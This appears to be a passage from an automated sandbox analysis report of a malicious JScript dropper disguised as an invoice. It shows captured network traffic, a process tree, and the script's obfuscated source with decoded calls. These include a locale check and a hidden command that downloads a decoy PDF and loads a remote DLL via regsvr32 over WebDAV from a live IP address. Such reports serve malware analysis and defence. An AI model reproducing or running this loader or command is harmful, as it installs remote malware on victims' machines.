Jan 11, 2025 01:44:58.518193007 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:44:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:44:58.518209934 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:44:58.518228054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 01:44:58.518239975 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 01:44:58.518250942 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 01:44:58.518258095 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 01:44:58.518265009 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 01:44:58.518276930 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 01:44:58.518287897 CET	1236	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 11, 2025 01:44:58.518299103 CET	1048	IN	Data Raw: 00 00 80 69 f0 c5 12 00 6c 81 bf af fa 33 10 7d 7c 1c 3d 8e d0 9c de 38 7a 68 63 7d 0f cd 1d a8 27 bd 49 02 90 ee 65 a9 84 a6 aa 92 d2 8f ce a0 3f fd f4 d3 8f 3f fe f8 c3 0f 3f fc 33 32 fb fb b3 ff 55 aa 68 1a 14 9d 7d 10 c9 43 e5 1e 6a c8 54 a0 Data Ascii: il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAu
Jan 11, 2025 01:44:58.575697899 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	1848	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:45:00.197108030 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:45:00.966140985 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:45:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:44:53
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\82691949257725140.js"
Imagebase:	0x7ff77ec70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:44:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll
Imagebase:	0x7ff7a99c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:44:54
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:44:54
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:44:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:44:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a99c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:44:59
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff683df0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:45:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:45:00
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:45:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1648,i,14722567779740608170,7323724890790483310,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dorav() {	dorav() ➔ undefined
1	fptiwq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var mxgbjt = this[ktoxwqnr + mbjudgp + brxzjfa + zyposv + znzep + bfkbec + esextro + czfmghei] ( this[ubjhmd + qdfhv + ppvby + brxzjfa + twhzynnte + ktoxwqnr + czfmghei][naqpe + brxzjfa + znzep + mbjudgp + czfmghei + znzep + lqvqwnjpz + mywoyv + xsdpri + znzep + ppvby + czfmghei] ( ubjhmd + qdfhv + ppvby + brxzjfa + twhzynnte + ktoxwqnr + czfmghei + hrwyfv + qdfhv + hjvrz + znzep + lunhpqvrs + lunhpqvrs ) [zmecuid + znzep + dryxal + zmecuid + znzep + mbjudgp + cltcvc] ( avlvnfj + dtnlbpp + obzdfsaxx + tkyslf + qcxean + naqpe + rlumflww + zmecuid + zmecuid + obzdfsaxx + swaxfjd + vmbop + qcxean + rlumflww + qdfhv + obzdfsaxx + zmecuid + kxsjxvyh + naqpe + qjtuxa + esextro + czfmghei + brxzjfa + qjtuxa + lunhpqvrs + djgctoufj + wasztpn + mbjudgp + esextro + znzep + lunhpqvrs + kxsjxvyh + bfkbec + esextro + czfmghei + znzep + brxzjfa + esextro + mbjudgp + czfmghei + twhzynnte + qjtuxa + esextro + mbjudgp + lunhpqvrs + kxsjxvyh + yfknhx + qjtuxa + ppvby + mbjudgp + lunhpqvrs + znzep ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tjwhrilnu = 0 ; tjwhrilnu < fptiwq[lunhpqvrs + znzep + esextro + dryxal + czfmghei + hjvrz] ; ++ tjwhrilnu )
4	{
5	if ( mxgbjt == fptiwq[tjwhrilnu] )
6	{
7	mxgbjt = true;
8	break ;
9	}
10	}
11	if ( mxgbjt !== true )
12	this[ubjhmd + qdfhv + ppvby + brxzjfa + twhzynnte + ktoxwqnr + czfmghei][zxhfbf + narlep + twhzynnte + czfmghei] ( );
13	this[ubjhmd + qdfhv + ppvby + brxzjfa + twhzynnte + ktoxwqnr + czfmghei][naqpe + brxzjfa + znzep + mbjudgp + czfmghei + znzep + lqvqwnjpz + mywoyv + xsdpri + znzep + ppvby + czfmghei] ( ubjhmd + qdfhv + ppvby + brxzjfa + twhzynnte + ktoxwqnr + czfmghei + hrwyfv + qdfhv + hjvrz + znzep + lunhpqvrs + lunhpqvrs ) [brxzjfa + narlep + esextro] ( ppvby + uyluxjqs + cltcvc + djgctoufj + skjxkdh + ppvby + djgctoufj + ktoxwqnr + qjtuxa + zuhsho + znzep + brxzjfa + zyposv + hjvrz + znzep + lunhpqvrs + lunhpqvrs + hrwyfv + znzep + fkbhoz + znzep + djgctoufj + acgtgwtj + naqpe + qjtuxa + uyluxjqs + uyluxjqs + mbjudgp + esextro + cltcvc + djgctoufj + ellzywd + bfkbec + esextro + fsxbfq + qjtuxa + hmasedj + znzep + acgtgwtj + ubjhmd + znzep + mywoyv + zmecuid + znzep + bufrogb + narlep + znzep + zyposv + czfmghei + djgctoufj + acgtgwtj + lqvqwnjpz + narlep + czfmghei + mrzazazbx + twhzynnte + lunhpqvrs + znzep + djgctoufj + pqnumyvf + czfmghei + znzep + uyluxjqs + ktoxwqnr + pqnumyvf + kxsjxvyh + twhzynnte + esextro + fsxbfq + qjtuxa + twhzynnte + ppvby + znzep + hrwyfv + ktoxwqnr + cltcvc + lvhlom + djgctoufj + hjvrz + czfmghei + czfmghei + ktoxwqnr + gljus + skjxkdh + skjxkdh + srkbombh + azzllt + zflkyf + hrwyfv + srkbombh + xktxlntti + zflkyf + hrwyfv + srkbombh + hrwyfv + lgved + sszqhl + bcyayyjn + skjxkdh + twhzynnte + esextro + fsxbfq + qjtuxa + twhzynnte + ppvby + znzep + hrwyfv + ktoxwqnr + hjvrz + ktoxwqnr + ellzywd + pioyp + pioyp + zyposv + czfmghei + mbjudgp + brxzjfa + czfmghei + djgctoufj + pqnumyvf + czfmghei + znzep + uyluxjqs + ktoxwqnr + pqnumyvf + kxsjxvyh + twhzynnte + esextro + fsxbfq + qjtuxa + twhzynnte + ppvby + znzep + hrwyfv + ktoxwqnr + cltcvc + lvhlom + pioyp + pioyp + ppvby + uyluxjqs + cltcvc + djgctoufj + skjxkdh + ppvby + djgctoufj + esextro + znzep + czfmghei + djgctoufj + narlep + zyposv + znzep + djgctoufj + kxsjxvyh + kxsjxvyh + srkbombh + azzllt + zflkyf + hrwyfv + srkbombh + xktxlntti + zflkyf + hrwyfv + srkbombh + hrwyfv + lgved + sszqhl + bcyayyjn + rutfi + ehuysdmgm + ehuysdmgm + ehuysdmgm + ehuysdmgm + kxsjxvyh + cltcvc + mbjudgp + fsxbfq + zuhsho + zuhsho + zuhsho + brxzjfa + qjtuxa + qjtuxa + czfmghei + kxsjxvyh + pioyp + pioyp + ppvby + uyluxjqs + cltcvc + djgctoufj + skjxkdh + ppvby + djgctoufj + brxzjfa + znzep + dryxal + zyposv + fsxbfq + brxzjfa + zflkyf + lgved + djgctoufj + skjxkdh + zyposv + djgctoufj + kxsjxvyh + kxsjxvyh + srkbombh + azzllt + zflkyf + hrwyfv + srkbombh + xktxlntti + zflkyf + hrwyfv + srkbombh + hrwyfv + lgved + sszqhl + bcyayyjn + rutfi + ehuysdmgm + ehuysdmgm + ehuysdmgm + ehuysdmgm + kxsjxvyh + cltcvc + mbjudgp + fsxbfq + zuhsho + zuhsho + zuhsho + brxzjfa + qjtuxa + qjtuxa + czfmghei + kxsjxvyh + lgved + bcyayyjn + zflkyf + zflkyf + iihtq + lgved + eqkzptsmx + srkbombh + azzllt + azzllt + srkbombh + lgved + ehuysdmgm + ehuysdmgm + hrwyfv + cltcvc + lunhpqvrs + lunhpqvrs, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll",0,false) ➔ 0
14	}
15	kxsjxvyh = "s";
16	kxsjxvyh = "U";
17	kxsjxvyh = "A";
18	kxsjxvyh = "G";
19	kxsjxvyh = "p";
20	kxsjxvyh = "m";
21	kxsjxvyh = "c";
22	kxsjxvyh = "q";
23	kxsjxvyh = "K";
24	kxsjxvyh = "E";
25	kxsjxvyh = "W";
26	kxsjxvyh = "Y";
27	kxsjxvyh = "v";
28	kxsjxvyh = "D";
29	kxsjxvyh = "Y";
30	kxsjxvyh = "a";
31	kxsjxvyh = "n";
32	kxsjxvyh = "z";
33	kxsjxvyh = "k";
34	kxsjxvyh = "r";
35	kxsjxvyh = "W";
36	kxsjxvyh = "e";
37	kxsjxvyh = "y";
38	kxsjxvyh = "M";
39	kxsjxvyh = "F";
40	kxsjxvyh = "g";
41	kxsjxvyh = "m";
42	kxsjxvyh = "\\";
43	zmecuid = "y";
44	zmecuid = "d";
45	zmecuid = "w";
46	zmecuid = "n";
47	zmecuid = "t";
48	zmecuid = "J";
49	zmecuid = "T";
50	zmecuid = "P";
51	zmecuid = "L";
52	zmecuid = "l";
53	zmecuid = "M";
54	zmecuid = "p";
55	zmecuid = "w";
56	zmecuid = "e";
57	zmecuid = "X";
58	zmecuid = "h";
59	zmecuid = "f";
60	zmecuid = "b";
61	zmecuid = "G";
62	zmecuid = "B";
63	zmecuid = "r";
64	zmecuid = "H";
65	zmecuid = "b";
66	zmecuid = "R";
67	azzllt = "O";
68	azzllt = "Y";
69	azzllt = "d";
70	azzllt = "L";
71	azzllt = "v";
72	azzllt = "I";
73	azzllt = "a";
74	azzllt = "q";
75	azzllt = "x";
76	azzllt = "h";
77	azzllt = "M";
78	azzllt = "H";
79	azzllt = "Q";
80	azzllt = "r";
81	azzllt = "V";
82	azzllt = "J";
83	azzllt = "I";
84	azzllt = "H";
85	azzllt = "f";
86	azzllt = "A";
87	azzllt = "L";
88	azzllt = "J";
89	azzllt = "D";
90	azzllt = "U";
91	azzllt = "J";
92	azzllt = "D";
93	azzllt = "c";
94	azzllt = "R";
95	azzllt = "D";
96	azzllt = "K";
97	azzllt = "g";
98	azzllt = "w";
99	azzllt = "t";
100	azzllt = "e";
101	azzllt = "a";
102	azzllt = "g";
103	azzllt = "o";
104	azzllt = "S";
105	azzllt = "m";
106	azzllt = "P";
107	azzllt = "9";
108	hrwyfv = "U";
109	hrwyfv = "x";
110	hrwyfv = "r";
111	hrwyfv = "d";
112	hrwyfv = "H";
113	hrwyfv = "f";
114	hrwyfv = "w";
115	hrwyfv = "x";
116	hrwyfv = "l";
117	hrwyfv = "O";
118	hrwyfv = "S";
119	hrwyfv = "u";
120	hrwyfv = "E";
121	hrwyfv = "h";
122	hrwyfv = "K";
123	hrwyfv = "l";
124	hrwyfv = ".";
125	dtnlbpp = "Q";
126	dtnlbpp = "u";
127	dtnlbpp = "X";
128	dtnlbpp = "O";
129	dtnlbpp = "Y";
130	dtnlbpp = "R";
131	dtnlbpp = "K";
132	dtnlbpp = "p";
133	dtnlbpp = "S";
134	dtnlbpp = "Y";
135	dtnlbpp = "L";
136	dtnlbpp = "b";
137	dtnlbpp = "c";
138	dtnlbpp = "Y";
139	dtnlbpp = "s";
140	dtnlbpp = "R";
141	dtnlbpp = "q";
142	dtnlbpp = "q";
143	dtnlbpp = "H";
144	dtnlbpp = "c";
145	dtnlbpp = "A";
146	dtnlbpp = "t";
147	dtnlbpp = "B";
148	dtnlbpp = "E";
149	dtnlbpp = "f";
150	dtnlbpp = "K";
151	djgctoufj = "w";
152	djgctoufj = " ";
153	hmasedj = "S";
154	hmasedj = "P";
155	hmasedj = "W";
156	hmasedj = "H";
157	hmasedj = "T";
158	hmasedj = "M";
159	hmasedj = "i";
160	hmasedj = "V";
161	hmasedj = "w";
162	hmasedj = "j";
163	hmasedj = "q";
164	hmasedj = "s";
165	hmasedj = "A";
166	hmasedj = "X";
167	hmasedj = "q";
168	hmasedj = "k";
169	hmasedj = "l";
170	hmasedj = "u";
171	hmasedj = "Y";
172	hmasedj = "z";
173	hmasedj = "j";
174	hmasedj = "c";
175	hmasedj = "d";
176	hmasedj = "A";
177	hmasedj = "u";
178	hmasedj = "M";
179	hmasedj = "N";
180	hmasedj = "t";
181	hmasedj = "B";
182	hmasedj = "F";
183	hmasedj = "h";
184	hmasedj = "t";
185	hmasedj = "C";
186	hmasedj = "A";
187	hmasedj = "J";
188	hmasedj = "R";
189	hmasedj = "p";
190	hmasedj = "v";
191	hmasedj = "c";
192	hmasedj = "k";
193	avlvnfj = "B";
194	avlvnfj = "J";
195	avlvnfj = "p";
196	avlvnfj = "Q";
197	avlvnfj = "e";
198	avlvnfj = "f";
199	avlvnfj = "d";
200	avlvnfj = "Y";
201	avlvnfj = "n";
202	avlvnfj = "K";
203	avlvnfj = "C";
204	avlvnfj = "P";
205	avlvnfj = "H";
206	qcxean = "E";
207	qcxean = "S";
208	qcxean = "y";
209	qcxean = "E";
210	qcxean = "M";
211	qcxean = "u";
212	qcxean = "W";
213	qcxean = "w";
214	qcxean = "A";
215	qcxean = "f";
216	qcxean = "r";
217	qcxean = "p";
218	qcxean = "N";
219	qcxean = "a";
220	qcxean = "i";
221	qcxean = "C";
222	qcxean = "p";
223	qcxean = "M";
224	qcxean = "w";
225	qcxean = "g";
226	qcxean = "n";
227	qcxean = "F";
228	qcxean = "n";
229	qcxean = "y";
230	qcxean = "X";
231	qcxean = "M";
232	qcxean = "K";
233	qcxean = "F";
234	qcxean = "p";
235	qcxean = "_";
236	xktxlntti = "s";
237	xktxlntti = "Q";
238	xktxlntti = "O";
239	xktxlntti = "g";
240	xktxlntti = "Q";
241	xktxlntti = "q";
242	xktxlntti = "b";
243	xktxlntti = "y";
244	xktxlntti = "R";
245	xktxlntti = "F";
246	xktxlntti = "4";
247	swaxfjd = "Z";
248	swaxfjd = "F";
249	swaxfjd = "m";
250	swaxfjd = "K";
251	swaxfjd = "r";
252	swaxfjd = "Z";
253	swaxfjd = "S";
254	swaxfjd = "c";
255	swaxfjd = "B";
256	swaxfjd = "Z";
257	swaxfjd = "v";
258	swaxfjd = "Y";
259	swaxfjd = "N";
260	swaxfjd = "N";
261	swaxfjd = "D";
262	swaxfjd = "X";
263	swaxfjd = "R";
264	swaxfjd = "l";
265	swaxfjd = "G";
266	swaxfjd = "U";
267	swaxfjd = "l";
268	swaxfjd = "n";
269	swaxfjd = "M";
270	swaxfjd = "c";
271	swaxfjd = "Q";
272	swaxfjd = "z";
273	swaxfjd = "e";
274	swaxfjd = "N";
275	swaxfjd = "t";
276	swaxfjd = "s";
277	swaxfjd = "R";
278	swaxfjd = "N";
279	pqnumyvf = "x";
280	pqnumyvf = "j";
281	pqnumyvf = "c";
282	pqnumyvf = "t";
283	pqnumyvf = "l";
284	pqnumyvf = "u";
285	pqnumyvf = "K";
286	pqnumyvf = "S";
287	pqnumyvf = "u";
288	pqnumyvf = "n";
289	pqnumyvf = "V";
290	pqnumyvf = "k";
291	pqnumyvf = "h";
292	pqnumyvf = "f";
293	pqnumyvf = "s";
294	pqnumyvf = "g";
295	pqnumyvf = "j";
296	pqnumyvf = "H";
297	pqnumyvf = "u";
298	pqnumyvf = "N";
299	pqnumyvf = "t";
300	pqnumyvf = "F";
301	pqnumyvf = "e";
302	pqnumyvf = "P";
303	pqnumyvf = "z";
304	pqnumyvf = "y";
305	pqnumyvf = "q";
306	pqnumyvf = "q";
307	pqnumyvf = "A";
308	pqnumyvf = "B";
309	pqnumyvf = "Y";
310	pqnumyvf = "%";
311	mrzazazbx = "Q";
312	mrzazazbx = "H";
313	mrzazazbx = "X";
314	mrzazazbx = "z";
315	mrzazazbx = "N";
316	mrzazazbx = "C";
317	mrzazazbx = "L";
